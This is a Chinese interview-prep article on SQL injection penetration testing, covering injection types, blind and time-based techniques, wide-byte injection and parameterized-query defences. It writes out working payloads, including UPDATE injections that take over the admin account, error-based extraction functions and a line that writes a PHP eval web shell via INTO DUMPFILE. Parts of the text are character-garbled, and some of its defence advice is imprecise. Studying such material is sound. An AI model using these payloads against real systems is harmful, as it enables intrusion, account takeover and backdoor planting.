SQL注入滲透測試以及護網(wǎng)面試題和解答總結(jié)
SQL 注入漏洞成因、注入的類型和方式、防范?
提交錯誤語句是否有異常,除此之外這些顯示的錯誤可以通過 sleep,修眠語句執(zhí)? 5 秒,通過 DNSlog 判斷傳回值等。
select * from news where id = '$SQL';
當程序執(zhí)?訪問新聞等?些操作都會執(zhí)?到 sql 語句進行調(diào)用,如果在此調(diào)?過程中,提交了不合法的數(shù)據(jù),?數(shù)據(jù)庫?法識別則會報錯。也就是?切輸?都是有害的。
注入類型有 6 種,可以參考 SQLMAP,報錯、盲注、聯(lián)合、時間、內(nèi)聯(lián)、堆疊
注入提交方式:GET、POST、Cookies、?件頭
防范: 邊界 -> CDN(內(nèi)容分發(fā)網(wǎng)絡(luò)) -> 腳本語?過濾 -> 數(shù)據(jù)庫過濾最小權(quán)限 -> 主機
盲注是什么?怎么盲注?
盲注是在 SQL 注?攻擊過程中,服務器關(guān)閉了錯誤回顯,我們單純通過服務器返回內(nèi)容的變化來判斷是否存在 SQL 注?和利?的?式。
盲注的?段有兩種,
?個是通過??的返回內(nèi)容是否正確 (boolean-based),來驗證是否存在注?。
?個是通過 sql 語句處理時間的不同來判斷是否存在注? (time-based),在這?,可以? benchmark,sleep 等造成延時效果的函數(shù),也可以通過構(gòu)造?笛卡?積的聯(lián)合查詢表來達到延時的?的。
寬字節(jié)注入原理
1、產(chǎn)?原理
在數(shù)據(jù)庫使?了寬字符集而 WEB 中沒考慮這個問題的情況下,在 WEB 層,由于 0XBF27 是兩個字符,在 PHP 中?如addslash 和 magic_quotes_gpc 開啟時,由于會對 0x27 單引號進?轉(zhuǎn)義,因此 0xbf27 會變成 0xbf5c27, ?數(shù)據(jù)進?數(shù)據(jù)庫中時,由于 0XBF5C 是?個另外的字符,因此 轉(zhuǎn)義符號會被前?的 bf 帶著 “吃掉”,單引號由此逃逸出來可以?來閉合語句。
2、根本原因
character_set_client(客戶端的字符集) 和 character_set_connection(連接層的字符集) 不同, 或轉(zhuǎn)換函數(shù)如,iconv、mb_convert_encoding 使?不當。
3、解決辦法
統(tǒng)?數(shù)據(jù)庫、Web 應?、操作系統(tǒng)所使?的字符集,避免解析產(chǎn)?差異,最好都設(shè)置為 UTF-8?;?qū)?shù)據(jù)進?正確的轉(zhuǎn)義,如 mysql_real_escape_string+mysql_set_charset 的使?。
SQL 里面只有 update 怎么利用
先理解這句 SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此 SQL 被修改成以下形式,就實現(xiàn)了注?
1、修改 homepage 值為 http://xxx.net’, userlevel='3
之后 SQL 語句變?yōu)?/p>
UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'
userlevel 為?戶級別
2、修改 password 值為 mypass)’ WHERE username=‘admin’#
之后 SQL 語句變?yōu)?/p>
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3、修改 id 值為 ’ OR username=‘admin’ 之后 SQL 語句變?yōu)?/p>
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
為什么參數(shù)化查詢可以防止SQL 注入?
原理:
使?參數(shù)化查詢數(shù)據(jù)庫服務器不會把參數(shù)的內(nèi)容當作 sql 指令的?部分來執(zhí)?,是在數(shù)據(jù)庫完成 sql 指令的編譯后才套?參數(shù)運?。
簡單的說: 參數(shù)化能防注?的原因在于, 語句是語句,參數(shù)是參數(shù),參數(shù)的值并不是語句的?部分,數(shù)據(jù)庫只按語句的語義跑。
報錯注入的函數(shù)有哪些?
and extractvalue(1, concat(0x7e,(select @@version),0x7e)) 通過floor報錯 向下取整3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1) geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b)); multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b)); polygon()select from test where id=1 and polygon((select from(select from(select user())a)b)); multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b)); linestring()select from test where id=1 and linestring((select from(select from(select user())a)b)); multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b)); exp()select from test where id=1 and exp(~(select * from(select user())a));
延時注入如何來判斷?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
盲注和延時注入的共同點?
都是?個字符?個字符的判斷。
sql 注入寫文件都有哪些函數(shù)?
select '?句話' into outfile '路徑' select '?句話' into dumpfile '路徑' select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php;
如何防護SQL注入攻擊呢?
1.對代碼進行過濾非法符號如</?&>之類的,對一些腳本標簽scrpt以及img或frame都進行過濾和替換。
2.對一些函數(shù)變量直接進行強制定義,比如金額函數(shù)這里直接限定只能寫入正整數(shù)類型的數(shù)值,那么其他的參數(shù)像姓名的話可以直接限定到只允許寫入中文和英文的數(shù)值,其他的以此類推。
3.對一些帶入數(shù)據(jù)庫查詢和更新的語句,一定要看看get或post過來的數(shù)據(jù)參數(shù)是否是直接把參數(shù)類型鎖定好了的,防止被注入惡意語句導致被攻擊。
總結(jié)
到此這篇關(guān)于SQL注入滲透測試以及護網(wǎng)面試題和解答的文章就介紹到這了,更多相關(guān)SQL注入滲透測試內(nèi)容請搜索本站以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持本站!
版權(quán)聲明:本站文章來源標注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務器上建立鏡像,否則將依法追究法律責任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學習參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。